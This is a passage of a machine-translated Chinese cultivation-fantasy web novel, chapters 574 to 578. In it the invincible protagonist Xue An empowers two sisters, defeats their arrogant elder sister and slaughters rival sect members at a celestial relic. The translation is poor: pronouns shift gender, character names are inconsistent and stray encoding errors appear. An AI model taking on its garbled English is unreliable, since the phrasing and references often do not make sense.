
    Lian Yunting has always had her own thoughts.


    The eldest sister Lian Yun has a strong and domineering personality and amazing talent, so she has always been valued by her father Lian Yuanhua, especially now that she has become the true biography of Shanhaizhai''s inner room, and she is regarded as the future successor by people up and down. All are extremely respectful.


    The little girl Lian Yunluo is cute and well-behaved, and she is very fond of Yuanhua.


    Only Lian Yunting, who is in the middle position, is not as talented as it is, not to mention amazing, but it is also reasonable. The same is true of her status. Even Yuanhua can''t talk about disgusting her, but she can''t talk about how much she loves.


    So her position has always been very embarrassing!


    Usually it��s better. Once the elder sister comes back, when she sees her father who is usually unsmiling to her pampering her, all the elders in the fort greet her with smiles.


    Lian Yunting felt sour water from the bottom of her heart, and she could only hide herself in a corner where no one was looking.


    Today is no exception.


    Therefore, Lian Yunting escaped early and was about to come to Xue An to say a few words, but by coincidence, she saw her elder sister rushing to ask Xue An for trouble.


    At first, Lian Yunting was a little nervous, but the next development made her stunned.


    Senior unexpectedly took a palm of his elder sister, and even made her elder sister suffer a little.


    Senior... Is it so good?


    Even though Yunting didn''t say these things, Xue An could tell at a glance.


    Xue An sees too many dramas of rich family rivals, and it''s not new at all.


    But Xue An admired this Lian Yunting more.


    Be calm when things happen, behave appropriately, and be grateful.


    So Xue An decided to help her.


    "Are you not convinced?"


    Lian Yunting nodded subconsciously. After the reaction came over, she couldn''t help looking at Xue An with a full face, "Pre...senior."


    Xue An smiled lightly, "Answer me, yes or no!"


    "Yes!" Lian Yunting responded in a low voice after hesitating for a moment.


    "Well, I will help you!"


    Lian Yunting still didn''t understand what it meant, and couldn''t help looking at Xue An blankly.


    "Baoyuan Shouichi, I will give you a great opportunity!"


    Lian Yunting was shocked, and subconsciously, according to Xue An''s words, embraced Yuanshou and seized his mind.


    Xue An squinted his eyes slightly, the huge divine thought spread out, wrapped Lian Yunting, and then passed a law decision directly.


    Four elephants Lingxiao decided!


    Xue An once destroyed a brutal and unkind cultivator school.


    This school has been handed down for thousands of years, and the collection of various exercises is extremely abundant, and Xue An simply included them all into his spiritual thoughts.


    The law decisions given to the members of the Fire Phoenix also originated from this.


    This Four Elephant Ling Xiao Jue is no exception.


    Moreover, this technique is extremely powerful, and it is also very suitable for women like Lian Yunting.


    And Xue An also helped her run the exercises with divine consciousness.


    When a week is completed.


    Lian Yunting''s aura suddenly skyrocketed, and the illusion of a four-like spirit beast appeared behind him.


    And when the illusion of the Four Elephant Spirit Beast was completely attached to Lian Yunting.


    Just listen to the boom.


    Lian Yunting was shocked.


    The cultivation base that had been trapped in the middle stage of Sanxian finally skyrocketed and reached the peak of Sanxian in an instant, and was only a little short of breaking through for longevity.


    When all this was done, Lian Yunting slowly opened his eyes, and the first person who caught his eye was the smiling Xue An.


    Lian Yunting took a deep breath and knelt to the ground without hesitation.


    "Predecessors are here, the grace of rebuilding, Yun Ting is unforgettable!"


    She is still shocked by Xue An''s just method.


    Initiate the exercises through divine mind and help yourself to operate.


    Such methods are simply unheard of.


    And the exercises given to him are so mysterious and powerful.


    For a time, the image of Xue An became more and more mysterious in Lian Yunting''s eyes.


    Xue An just laughed at this, "It''s just that you are more pleasing to the eye, and at the same time, that your eldest sister is too arrogant! It''s just a chance to give you a chance, don''t take it too seriously!"


    Having said that, how dare Lian Yunting not take it seriously.


    You must know that any meritorious deed is the secret secret of each major sect, and these Four Elephants Lingxiao is definitely not a common product. Naturally, Lian Yunting dare not forget this kind of grace.


    When I was about to speak, I saw a few huge streams of light flying in the sky.


    A strong momentum enveloped the entire Bafang City.

 Chapter 574： Mechanical puppet

    A huge sword light dragged the tail of the sword across the sky and flew. Standing on the sword light was Bu Kongchan, the first true disciple of Wuwangzong.


    I saw her standing with her hands in her hands, her face dyed with golden light, like a fairy coming to the world, causing the crowd below to exclaim in exclamations.


    "It''s Wuwangzong''s Bukong Cicada! It is rumored that she has been among the half-step golden immortals, and she is unparalleled in swordsmanship!"


    "The people of Wuzuong finally appeared! The scene is getting more and more lively!"


    And what came from the west was a strong and substantive suffocating aura. The suffocating aura formed a ferocious behemoth. One person was sitting on top of the behemoth''s head, and his body was enveloped by layers of yin, which was extremely frightening.


    Someone said solemnly: "It''s Wu Qisha, son of the Qisha of the Fierce Spirit Sect!"


    hiss!


    Hearing this name, some timid faces paled with fright.


    "This peerless evil demon is also here!"


    "In recent years, this fierce spirit sect has acted arrogantly, and it is said that it is all because of Wu Qisha!"


    As he was talking, I saw a fleet of several huge floating ships slowly flying in.


    A flagpole stands above the bow.


    On the flagpole hung a huge flag embroidered with divine birds.


    This huge momentum has shocked many people.


    "People from the Thousand Birds Kingdom are here too!"


    "It looks like the King of the Thousand Birds is coming to you!"


    At the same time, on the official road outside the city gate, a giant tens of feet tall rushed towards him.


    Although separated by the city wall, the people in the city can still see the appearance of this giant.


    Half of the giant''s head was cut off, and then stitched up again, looking terrifying.


    The giant''s hands are a sledgehammer, and his whole body shimmers with a metallic luster.


    On the shoulders of the giant sits a long-haired woman.


    This woman looks like a fox, her clothes are exposed, her long hair pouring down like water, covering important parts, and her two slender legs are tilted over Erlang''s legs, revealing her white feet like pink jade without shoes.


    Many men look silly.


    Because this woman is so beautiful in appearance and demeanor!


    "It''s Liu Keke from Puppet Gate in Zhongzhou!"


    "This demon girl actually appeared!"


    "This is really lively!"


    Many people who knew this woman showed solemn expressions.


    It is because this puppet gate is a very famous sect in Zhongzhou.


    At this time, the Wu Qisha stood up on the evil spirit beast, and gave Liu Keke a dark smile.


    "Sister Liu, it''s been a long time since I saw you! Do you still recognize me?"


    Liu Keke covered his mouth and chuckled, "Wu Qisha, I didn''t expect you to come out!"


    The yin enveloping Wu Qisha surging for a while, and then sneered: "Sister Liu, why didn''t I dare to come out? I always remember the lesson you gave me, and I always want to return it to you. Yeah!"


    "Oh?" Liu Keke cleverly smiled, "But I don''t know how you want to pay it back?"


    "Naturally make you a slave, so I can enjoy it at any time!" Wu Qisha said, the giant beast under his feet fell to the ground, and the whole house was destroyed by a flick, and then he stared at Liu Keke.


    Liu Keke''s face slightly condensed, "You actually broke through?"


    "That''s right! I broke into the pinnacle of longevity half a year ago! Liu Keke, you still have time to surrender now, I will consider leaving your soul!" Wu Qisha let out a strange laugh.


    "Oh? It''s like you will break through?" With that, the puppet''s body under Liu Keke soared again, reaching a height of more than thirty feet.


    Wu Qisha couldn''t help but screamed, "You actually broke through!"


    "That''s right! The surname Wu, you haven''t settled the account of your molesting with you last time. If you meet this time, I will teach you another lesson!" Liu Keke said coldly.


    Seeing a big battle is about to break out.


    Lian Yunzhi, who has been watching the situation in Feiyanbao, stomped into the air, and then said loudly, "Two of you stop!"


    Wu Qisha and Liu Keke were all startled, at this moment Lian Yunzhi had already flown to the front, arching his hands slightly.


    "Both of them are amazing talents. If they do, Bafang City may be destroyed. It''s better to stop. After the true immortal remains open, how about the length of the grievance?"


    "You are..." Liu Keke didn''t know Lian Yunzhi.


    Then Wu Qisha sneered when he heard the words, "Okay! Since even the eldest lady has spoken, I will give you this face!"


    Lian Yunzhi was indifferent.


    She naturally knew that Wu Qisha''s fierce spirit sect ambushed her second sister some time ago, and almost succeeded.


    But as far as Lian Yun is concerned, the most important thing now is to join forces with all parties to get the true celestial remains.


    As for the second sister Lian Yunting...


    Lian Yunzhi was never happy, so he didn''t say anything.


    While Qiandiao Haoyan stood on the bow of the floating ship in the distance and took a deep look at Lian Yunzhi.


    He naturally knew the name of a talented woman.


    A young age is the pinnacle of longevity, which is indeed enough to be proud of.


    But Qiandiao Haoyan understood.


    Many people give her face because of Shanhaizhai behind her.


    After all, it is one of the top sects in Zhongzhou.


    Guo Shiguan Kaiming came over, "My Lord, the post is ready!"


    "Okay! Let''s go!" Qiandiao Haoyan retracted his gaze and said solemnly.


    The floater moved away slowly.


    Wu Qi Shayin laughed a few times and left.


    Only Liu Keke remained.


    Lian Yunzhi Chong Liu Keke bowed his hand, "Junior Sister Liu, is there a place to stay in this Bafang City?"


    Liu Keke shook his head.


    Lian Yunzhi''s eyes lit up slightly, and he quickly said, "If that''s the case, how about returning to Smokehouse with me? You and I belong to the Zhongzhou sect, so you can get close!"


    Liu Keke smiled a few times, "If that''s the case, then it''s annoying!"


    Waiting back to Feiyanbao.


    After a burst of light flickering, the puppet under Liu Keke shrank into a small ring and fell into Liu Keke''s hands.


    This is the magic of the puppet gate.


    And Feiyanbao master Lian Yuanhua led the elders already waiting at the door.


    This formation is far from the last time Xue An came.


    Watching my eldest sister talk and laugh with this fairy-like woman, while my father echoed with a smile.


    Lian Yunting couldn''t help lowering her head, a cold look flashed in her eyes.


    I almost died last time, if it hadn''t been for Xue An''s action, it is estimated that he would have been refined into a fierce spirit!


    But in this case, his father has not expressed much.


    He even treated his savior so slowly.


    And when his eldest sister came back, the treatment was totally different.


    All these reasons made Lian Yunting''s heart gradually cool down.


    In the small courtyard, Xue An filled a cup of tea, raised the cup in his hand, took a sip, and then a smile appeared at the corner of his mouth.


    "Alchemist? Mechanical puppet? Interesting!"


    Following his voice, Liu Keke, who was talking and laughing with Lian Yunzhi, seemed to have a feeling, and looked around in surprise.


    Strangely, there seemed to be a strong divine mind watching him just now.

 Chapter 575： No, I want to worship seniors as a teacher!

    At night.


    Inside the huge Feiyanbao is brilliantly lit and lively.


    Countless people shuttled back and forth and were busy with the dinner tonight.


    In order to welcome Liu Keke''s arrival, Feiyanbao made great efforts and invited many masters and celebrities in Bafang City.


    Of course, as the benefactor who saved the Second Miss Feiyanbao, even if Lian Yunzhi is not happy, he still has to do superficial work, so Xue An was also invited.


    When Xue An arrived at the banquet hall, the banquet was about to begin.


    Many celebrities in Bafang City are chatting together.


    No one noticed Xue An''s arrival.


    Xue An was also very happy and found a seat casually, and after sitting down, he began to eat for himself.


    When eating is full of joy.


    Just listen to the commotion ahead.


    Someone exclaimed, "Come! People are coming!"


    Xue An looked up.


    I saw Lian Yunzhi and the people of Feiyanbao walking in with a woman with long hair and a beautiful face and bare feet.


    Xue An''s mouth raised slightly.


    Is this the mechanical puppet master?


    After taking a look, Xue An continued to eat and drink.


    But Liu Keke seemed to feel it, and looked around.


    "Sister Liu, what''s the matter?" Lian Yunzhi asked.


    "Oh! It''s okay!" Liu Keke said, shaking his head.


    But there are some doubts in my heart. I just clearly felt that someone was looking at me?


    And that breath is the same as the divine mind prying on oneself today.


    Who on earth is it?


    At this time, Lian Yuanhua stood up with a red face and said to everyone.


    "It is my honor for everyone to come to the dinner today! And I also want to introduce to you, this girl is Liu Keke, the true disciple of the Zhongzhou Da Sect Puppet Sect!"


    Today''s events have already spread throughout Bafang City, and everyone who comes to the dinner party naturally knows it.


    But now listening to Lian Yuanhua''s introduction, he still can''t help showing awe.


    For the repairers in the Northwest, the Zhongzhou Da faction represents a powerful force.


    Lian Yuanhua was very satisfied with the response of the people below, and then said: "Ms. Liu can come to my Feiyanbao today because my daughter Yunzhi has a relationship with her. You must know that my daughter Yunzhi is now the true biography of Shanhaizhai! "


    After bragging about it, Lian Yuanhua coughed slightly, and then said, "The reason why we are hosting this dinner today is also because of an unsympathetic invitation!"


    With that said, Lian Yuanhua winked at his daughter.


    Lian Yunzhi smiled slightly, "Junior Sister Liu, my younger sister is twelve years old this year, and I want to let her join a big sect to practice. But I happened to meet Junior Sister today and I want her to worship your puppet sect. "


    Liu Coco''s complexion changed slightly, and he felt a little unhappy.


    It turns out that such enthusiasm is to let oneself accept disciples!


    But then I thought about it, and it was not easy to refuse in person, so he said lightly: "This is easy to say, but I also need to look at the qualifications and talents!"


    "This is natural!" One of Lian Yun opened his eyes and smiled, and immediately ordered someone to call Miss San.


    This incident was actually caused by Lian Yuanhua''s temporary intention, and then discussed it with his daughter Lian Yunzhi, and did so when he thought it was feasible.


    After all, this puppet sect can be regarded as a big faction in Zhongzhou, and it is very powerful.


    Moreover, if Lian Yunluo can worship the puppet sect, it will benefit Feiyanbao a lot.


    That is equivalent to Feiyanbao already has disciples in the two main schools in Zhongzhou!


    Soon, Lian Yunluo was brought in.


    This little girl didn''t know what had happened yet, she looked at everyone in a daze after being brought.


    Liu Keke stared at him for a moment, and said nothing.


    Lian Yunzhi asked with a smile, "Sister Liu, what''s my little girl''s qualifications?"


    Liu Keke sighed, "As expected, she is a family of cultivators. The aptitude and talent of Lingmei are all first-class!"


    In fact, this is not uncommon.


    As a family of cultivators, when Lian Yunluo was in her womb, she used all kinds of treasures of heaven and earth to infuse her, in order to cultivate the high-grade energy and spiritual roots.


    After it was born, it was made with various rare medicinal materials.


    Such a huge investment, aptitude and talent can be imagined.


    Lian Yunzhi was very happy when he heard that, turning his head and shouting, "Yunluo, don''t kneel down and apprentice!"


    Lian Yunluo didn''t move, there was a dazed expression on her little face, and then gradually became clearer.


    "Apprentice?"


    "That''s right! The fairy master of the puppet sect will be your teacher in the future!" Lian Yunzhi said.


    Lian Yunluo shook her head when she heard it.


    "No, I won''t worship her as a teacher!"


    This sentence was like a shock to the world, shocking everyone in the room.


    Lian Yuanhua was so angry that he was about to reprimand, but was stopped by Lian Yunzhi, and then smiled at his little sister.


    "Little sister, why don''t you worship her as a teacher? You know this master whom I must admire for the eldest sister. If you worship her, you can become very powerful! And you can control the puppets, which is very fun!"


    Lian Yunzhi thought it was his sister who was worried that the cultivation was too hard, so he deliberately said that he could manipulate the puppet.


    Lian Yunluo still shook her head firmly, "No, I won''t worship her, I will worship Senior as a teacher!"


    "Senior?" Even Liu Keke couldn''t help but asked a little surprised, then glanced at Lian Yunzhi.


    Although nothing was said, the meaning was already obvious.


    If you have found a teacher for your little sister, why bother to find me again?


    But Lian Yunzhi''s face turned gloomy when he heard this, "You say something?"


    Lian Yunluo usually respects and fears his eldest sister, but this time he doesn''t know what''s going on, and said very firmly: "I just want to worship senior as a teacher!"


    With that, she turned around and looked around the audience. When she saw Xue An sitting in the corner, she ran straight over.


    Following her movements, the eyes of the whole audience followed.


    When Lian Yunluo stood next to Xue An and shouted out the word "Senior" in a lively manner.


    The room was boiling Many people had never seen Xue An, and they couldn''t help but talk.


    "Who is this person? Why haven''t you seen it?"


    "Yes, it seems that there is no fluctuation in cultivation level, he should be an ordinary person!"


    "Look at his eyes!"


    "It''s a Chinese!"


    Amid these discussions, Xue An slowly swallowed the food in his mouth before turning his head to smile at Lian Yunluo.


    "You want to worship me as a teacher?"


    Lian Yunluo nodded heavily, "Well! I also want to be like the second sister, worshiping seniors as my teacher!"


    This sentence made Lian Yunting in the crowd pale.


    Today, only my little sister knows about my practice as a teacher, but she opened her mouth and said it.


    And that even Yunzhi was going crazy, seeing Xue An''s eyes full of murderous aura.


    But Liu Keke was looking at Xue An with curious eyes.


    This Chinese man was very handsome, especially his eyes. When he smiled, he seemed to have the sun and the moon shining in it. People couldn''t help but want to fall into it.


    And Liu Keke always felt that this Chinese man was a bit familiar.


    But I can''t remember why.

 Chapter 576： Mysterious man

    While Liu Keke was thinking hard, Xue An smiled faintly.


    "Okay! Then kneel down and call Master now!"


    Xue An had just finished speaking, before Lian Yunluo knelt down.


    Lian Yunzhi couldn''t help but rushed over, "What a madman, why do you want to instigate my sister so many times?"


    Speaking, he slapped angrily.


    The power of this palm sent a gust of wind to the whole house.


    Then listened to a loud boom.


    Lian Yunzhi, who rushed past, was shocked and flew out, smashing two tables of banquets in a row before he could barely stop, then opened his mouth and vomited a small mouth of blood.


    Seeing this situation, the audience was completely silent.


    Even Liu Keke couldn''t help but open his mouth slightly, watching this scene in disbelief.


    Xue An sat on the chair, slowly retracted his fist, and said lightly: "This is the last time. If you dare to provoke any more, I don''t mind **** your head off! Understand?"


    Xue An''s murderous words filled Lian Yun''s anger, and at the same time infinite fear arose in his heart.


    I just made an angry shot, but with a seven-point effort, instead of shaking the person, he slightly injured himself.


    Could this person''s body be made of gold and iron?


    Uncertainly, Lian Yunluo had already knelt down on the ground and knocked three heads respectfully at Xue An.


    "Master!"


    Xue An nodded and smiled, "Very good! If it wasn''t for the face of you and your second sister, even this Feiyanbao would not exist anymore! Get up!"


    Xue An''s words drew everyone''s attention.


    This tone is simply too big!


    Lian Yunluo stood up.


    At this time, Lian Yunting also came over, and the two sisters stood side by side behind Xue An.


    This scene was so angry that Yuan Hua''s face was blue and her whole body was shaking.


    "Okay! Yunting, you are really my good daughter! Apprentice a teacher in private..."


    Before he could finish speaking, Lian Yunting said coldly, "Father, don''t say it!"


    "Don''t call me father, I don''t have a daughter like you!" Lian Yuanhua roared.


    A ridiculous smile appeared on Lian Yunting''s face and nodded: "Okay! You finally told the truth! You said I was a teacher in private, but have you managed me for so many years? Even the last time I was almost murdered. The people of the Spirit Sect ambush, what did you say?"


    "Then you will worship such a Chinese who has no cultivation skills as a teacher?"


    "Yes! If it weren''t for the master, I would have been refined into a fierce spirit now, and he is my benefactor, I am naturally grateful to him! And even if he has no cultivation level, his strength, I think the eldest sister should be very clear!"


    Lian Yunting seemed to release all the grievances accumulated over the years, and looked at Lian Yunzhi with a sneer.


    Lian Yunzhi let out a cold snort, the brilliance in his eyes flickered, and the aura of his body was rising.


    "Do you really think that this punch can hurt me? It''s useless, after all, this world is respected by cultivation! I admit that he has good physical skills, but today, he must die!"


    Speaking of the last, a scene of mountain and sea illusion emerged in Lian Yun''s mind, which was caused by her running cultivation base interfering with the Qi of Heaven and Earth.


    Then Lian Yunzhi made a bold move.


    With this blow, it seemed as if a big river had been thrown out, and the surging water rushed towards Xue An.


    Faced with this blow, before Xue An could do anything, Lian Yunting suddenly stepped forward and shouted in a cold voice, "Four elephants are one!"


    Seeing four huge four-elephant spirit beasts appeared behind Lian Yunting, they merged to form a giant beast with one mouth and swallowed the rushing river water.


    "How is it possible!" Lian Yunzhi couldn''t believe his eyes.


    After swallowing these river waters, the figure of this behemoth rose by a little bit, and Lian Yunting''s aura was suddenly shocked.


    He went straight from the peak of Sanxian to half-step longevity!


    This scene not only stunned the father and daughter of Yuanhua Lianyun, but even Liu Keke watched this scene dumbfounded.


    Because no one has ever seen a breakthrough so easily!


    Lian Yunzhi looked at it solemnly, "Lian Yunting, what''s the matter with you?"


    Lian Yunzhi can be sure that Lian Yunting''s practice is by no means a family-renowned Feiyan Gong.


    It was a magic trick that she had never seen before, but was mysterious and unusual.


    Lian Yunting smiled coldly, "This is the technique that Master gave me!"


    what?


    Lian Yun was stunned.


    Such a profound technique is not even in Shanhaizhai.


    In the end, it was given to Lian Yunting by this Xue An!


    How is this possible?


    How could this Chinese man have such a powerful technique?


    When she was in doubt.


    Xue Anchong''s Liu Keke smiled slightly, "I didn''t expect to see an alchemist here! It''s really rare!"


    Liu Keke was shocked when he heard that, "You..."


    Then, as if thinking of something, he exclaimed: "That divine mind was you just now..."


    Xue An nodded and said faintly: "If I''m not wrong, your mechanical puppet should be something handed down from ancient times! It''s a pity that Mingzhu secretly cast, you didn''t show its true power at all!"


    Liu Keke, who was already shocked, suddenly stood in awe when he heard the words, and said respectfully: "Senior, how do you know this?"


    "It doesn''t matter why I know!" Xue An stood up and sighed slightly.


    "Well, the dinner is over! It''s time to go to Bafang Mountain!"


    Many people did not understand what he said.


    At this moment, I heard a loud rumbling noise outside, as if countless divine thunders rolled across the sky, which shocked people.


    Lian Yunzhi and Liu Coco changed their faces and blurted out, "It''s a treasure of a true fairy!"


    Xue An smiled, turned around and walked out of the room, looking at the golden Bafang Mountain in the distance and said lightly: "I want to see what the real immortals in this world are different!"


    After saying this, he stomped the ground, and the entire courtyard instantly sank into a large hole, while Xue An rose into the sky and disappeared into the sky in the blink of an eye.


    This scene was seen by everyone who rushed to it afterwards.


    Lian Yuanhua and the many elders of Feiyanbao were all dripping with ugly faces.


    Lian Yunzhi''s complexion was also very pale.


    Because what happened just now had a great impact on her.


    First, the second sister, whom she had always looked down on, suddenly obtained a profound technique, and in the blink of an eye she broke through for a half-step longevity, so the longevity realm is just around the corner.


    Then this Chinese man with no cultivation base was so tyrannical.


    All these things seemed to slap her face severely.


    But it is absolutely impossible for her to give up the Zhenxian''s legacy.


    So after a little hesitation, she used her cultivation skills, and followed closely behind.


    Liu Keke''s eyes flickered and he whispered softly.


    "Who are you? What a mystery man!"


    Then he smiled and called out the puppet, "Come on!"

 Chapter 577： What is invincibility? This is invincible!

    At the same time, the vision on Bafang Mountain also alarmed the entire city.


    Countless streamers rose into the sky and flew straight to the Bafang Mountain.


    There are also many repairers who can''t fly in the air simply riding wild beasts such as wildebeests, tigers and leopards in the underground.


    In the end, the repairers in the entire Bafang City were all moved.


    Of course, the ones who rushed to the forefront were naturally the strong like Bukong Cicada and Qiandiao Haoyan.


    At this time they had rushed into the Bafang Mountain.


    I saw a huge Tianmen with a height of hundreds of meters in front of everyone.


    This heavenly gate is magnificent, with faint brilliance, and countless fine and complicated talisman seals.


    Various phenomena of heaven and earth appeared in the flashing light.


    Bukong Chan and others stopped one after another, all of them were excited.


    "Is this the True Immortal Relic?" Bukong Chan muttered.


    Wu Qisha on the side grinned grinningly, "First come, first served, this belongs to my Fierce Spirit Sect!"


    After that, he rushed away.


    But just halfway through the journey, I heard a soft drink, "Get out!"


    After a loud bang, this Wu Qisha flew upside down a hundred feet away, before barely standing still, and then looking forward with an ugly face.


    "Who!"


    At this moment, Lian Yunzhi and Liu Keke also arrived afterwards.


    Everyone looked at.


    I saw a man appearing in front of the Tianmen, standing with his hands held up, looking up at the huge Tianmen.


    Although she was far away and couldn''t see her appearance clearly, she knew that she was definitely not an ordinary person just by the calmness of Yuan Yuyue.


    Wu Qisha''s eyes flickered, and then he grinned, "Who dares to block my fierce spirit sect?"


    However, Lian Yunzhi''s complexion was stern, and there was a trace of horror in his eyes.


    This Xue An unexpectedly came so fast, and with one move he repelled Master Qisha. How powerful is this person?


    Liu Keke laughed and said nothing, sitting on the puppet and watching quietly.


    Seeing Xue An retracted his gaze, shook his head and chuckled, "You are amazingly talented when you enter the Tao with a talisman! It is a sigh that this law of the world is limited, so that you have not truly stepped into the realm of fairyland in your life!"


    Everyone was a little surprised at what he said.


    Wu Qisha realized that he had just lost face, so he coldly snorted, "Pretend to be a god, go to death!"


    After all, he raised his hand and saw countless fierce spirits attacking Xue An.


    The disciples of the Fierce Spirit Sect had also used this trick, but when Wu Qisha used it, the power was more than a hundred times stronger.


    The wind gusts turned into a sea of ??resentment towards Xue An.


    Xue An seemed unconscious, still looking down at something.


    Upon seeing this, Wu Qisha couldn''t help showing a triumphant smile. As long as he was besieged by his own fierce spirit, even a half-step Jinxian would have to fall.


    But in the next second, all his pride was frozen on his face.


    I saw Xue An slowly raised his head, the light in his eyes was bright.


    "roll!"


    With this soft drink.


    These fierce spirits were as if they had encountered some terrible person, they were so scared that they screamed and turned around and ran.


    Wu Qisha couldn''t believe his eyes.


    Are you afraid of the evil spirit that you worked so hard to refine?


    Even broke free of his own control and escaped?


    Wu Qisha repeatedly urged Fajue, trying to control these evil spirits back.


    But even if these fierce spirits were destroyed by the torment, none of them dared to turn around to deal with Xue An.


    In the blink of an eye, most of these fierce spirits were broken, and the rest of them all hid away, shivering, not even daring to lift their heads.


    The audience was silent.


    Even Bu Kong Chan gave a soft voice.


    Although Wu Qisha is domineering and brutal, his strength is indeed very powerful.


    Unexpectedly, he fell into the hands of this Chinese man one after another.


    Even the evil spirits that depended on fame didn''t work.


    Wu Qisha''s complexion was pale, just waiting to speak.


    Xue An stood on the ground with his hands under his shoulder, raising his eyes to scan the entire audience.


    When the line of sight passed, all the cultivators were secretly surprised.


    What kind of eyes are these.


    Leng Ran is profound but extremely majestic, as if a nine-day emperor with the power of life and death is looking down at a despicable prisoner, making people unable to bear the slightest resistance, just want to kneel and surrender.


    Especially Lian Yunzhi, after being swept over by his sight, his whole body began to tremble, sweating like syrup, and instantly wet his clothes.


    At this time, Xue An''s mouth raised, revealing a slight smile, "This place is now mine, you wait... all retreat!"


    This sentence came out.


    Everyone in the audience changed their colors.


    Including Bukong Cicada, they all grunted.


    The national teacher Guan of the Thousand Bird Kingdom said openly and gloomily: "It''s really a big tone. Can you occupy this true fairy relic by yourself? Be careful not to digest it, but to kill yourself!"


    Xue An looked at this person, "Who are you?"


    "I am the national teacher of the Thousand Bird Kingdom, my name is Guan..."


    Before speaking, Xue An waved his hand, "Okay, needless to say!"


    Guan Kaiming was taken aback for a moment, but still didn''t understand what it meant.


    Xue An stepped out, and the whole person was like a cannonball. He rushed to Guan Kaiming in an instant and slapped it out.


    Click.


    After a burst of fragile fractures, and looking at Guan Kaiming, Xue An''s upper body was directly smashed, leaving only the undamaged lower body.


    The blood shed like rain.


    Everyone just felt that with a flower in front of them, Guan Kaiming was dead.


    And Xue An no longer knew when he returned to the original place, and said indifferently: "The one who is dying, who cares about your name?"


    If it was said that when Xue An was fighting Wu Qisha just now, everyone was surprised.


    Now this hand can be described as shocking, enough to make people fearful.


    Qiandiao Haoyan''s complexion was pale, and he roared: "Funner..."


    Xue Anhao took out his ears in his spare time and smiled slightly, "Can you use some fresh words? Also, are you the monarch of the Thousand Birds Kingdom?"


    "Yes! I am..."


    Xue An waved his hand, "I said, don''t waste time signing up for dying people. Anyway, I can''t remember. I just ask you, is Chidori really your daughter?"


    Qiandiao Haoyan was startled slightly, "Yes... Could it be that you killed him?"


    Qiandiao Haoyan understood it instantly, and asked angrily.


    Xue An nodded, "I killed it, and at the time she was still with someone from the Unruly Sect, and I took care of it all!"


    Bukong Chan on the side condensed when he heard the words, and the sword glow in his eyes was bright, "It turns out that Junior Brother Tianyuan died in your hands!"


    Xue An nodded, then smiled colder, "Do you know why I want to kill them?"


    "Why?" The questioner was actually a curious Liu Keke.


    Xue An said coldly: "Because you are oppressing the Chinese and they think this is a matter of course! I am here today to let you know that the Chinese cannot be bullied, bullies... kill No pardon!"


    As soon as this remark came out, the audience was in an uproar.


    At this time, the cultivators with a slightly lower cultivation base had already arrived, all watching from a distance.


    When he saw Xue An alone facing so many strong men, all of them were shocked.


    Especially when Xue An said these words, it was a violent commotion.


    Among them, a disdainful person sneered, "A mere Chinese..."


    Before the words fell, Xue An''s sea-like spirit spread, and instantly slaughtered the person''s spirit.


    The dead corpse fell to the ground silently, and even the slightest scar was not visible on the outside.


    I could only see a person who had just been alive, his eyes darkened, and he died.


    This shocking scene made countless people feel terrified.


    At the same time, Xue An took a step forward.


    After this step, Bu Kongchan and the others subconsciously took a step back.


    Then all looked at Xue An in amazement.


    What is invincibility?


    Go further and retreat!


    This... is invincible!

 Chapter 578： The fate of the Chinese is not determined by anyone!

    Bukong Cicada finally couldn''t hold it back, and said coldly: "Kill my junior and dare to say madly, first take my sword and say it!"


    With that, Bukong Chan''s eyebrows suddenly showed a small, small sword, which was more delicate and clear than He Tianyuan''s.


    Bukong Chan waved his hand, this small Lingding sword was divided into two and turned into four, and in the blink of an eye, countless small Lingding swords were transformed, and then the sword gasified the dragon, and hit Xue An directly.


    Such prestige made Wu Qisha and Lian Yunzhi all look at him.


    It really deserves to be the first person in the 100-year history of Wuzuong!


    With this hand, even in the land of Zhongzhou, it is commendable.


    I saw this huge dragon made up of countless small swords rushing to and around Xue An, the dragon head lifted, and directly rushed down with the momentum of Mount Tai.


    Bukong Cicada looked indifferent, standing in the air and watching quietly.


    A sneer appeared at the corner of Wu Qisha''s mouth, thinking that under this blow, this Chinese man would definitely not be spared.


    But at this moment, Xue An raised his head to look at the dragon head that rushed forward, with an indifferent expression, raising his hand and pressing directly on the dragon head.


    It was such an understatement.


    This sword-turned giant dragon seemed to have been hit by a giant on a dead spot, and the whole body instantly twisted and struggled crazily.


    At the same time, Bukong Cicada in mid-air was struck by lightning, his complexion suddenly darkened, and a trace of blood slowly leaked from the corner of his mouth.


    Obviously, she was also seriously injured by this blow.


    But at this step, Kong Chan''s sword heart has been honed as hard as iron. Although he was injured by the back shock, his expression has not changed at all, and there is a bright light in his eyes, and he screams coldly.


    "Sword Hua Wuwang!"


    boom!


    The dragon disintegrated in an instant, and then the boundless little sword swallowed Xue An.


    Suddenly, apart from the sound of sword energy breaking through the air, the audience can be said to be completely silent.


    "Is it dead?" someone asked uncertainly.


    "It should be dead! With such a powerful sword, even Jinxian has to fall on the spot!" Someone agreed.


    "It seems that Wuwangxianzong is overbearing! This step Kongchan is the first of the younger generation in the Northwest!" Someone sighed.


    In these comments, Wu Qisha laughed happily.


    "Pretending to be a ghost for a long time, didn''t it turn out to be a ghost under the sword?"


    Lian Yunzhi also secretly breathed a sigh of relief.


    Anyway, since this person is dead, everything is easy.


    Only Liu Keke had been watching the sword sea wriggling around like a dragon and snake.


    Will this mysterious man die so easily?


    Qiandiao Haoyan also said with a sneer at this moment: "God punishes these Chinese people so that they can''t cultivate. This is punishment for the sins they have committed in the past! Does a Chinese people dare to go against the sky?"


    As soon as the voice fell, I heard a calm voice from among the endless little swords.


    "The fate of the Chinese is never determined by others! If the sky is unfair, then it is against the sky...what''s the problem?"


    how is this possible?


    Hearing this voice, everyone in the audience was shocked.


    Especially Bukong Cicada, her face that had always been Gujing Bubo also showed a look of shock at this moment.


    Then I saw a person stepping out of this endless sword sea.


    Wherever they went, these restless little swords seemed to have seen their own emperor, and they bowed down to show their submission.


    When Xue An walked out of the sword sea and stood in the field.


    These small and small swords began to disintegrate and break into pieces, turning into dusty sword lights.


    And every time it disintegrated, Kong Chan''s complexion became white at this step.


    When all the small swords finally turned into powder, Bukong Chan opened his mouth and spit out a large mouthful of blood, and the whole body was crumbling, apparently already seriously injured.


    Xue An looked at Qiandiao Haoyan, a cold smile appeared at the corner of his mouth.


    "Is that what you said just now?"


    Qiandiao Haoyan wanted to scold him, but somehow, when he came into contact with Xue An''s eyes, he felt cold all over his body, and all the following words were held in his throat and could not be said.


    Xue An shook his head at this time, "No need to answer, yes or no, it doesn''t matter now!"


    Qiandiao Haoyan hadn''t understood what it meant.


    Seeing Xue An stretched out his hand, he said coldly: "Come on!"


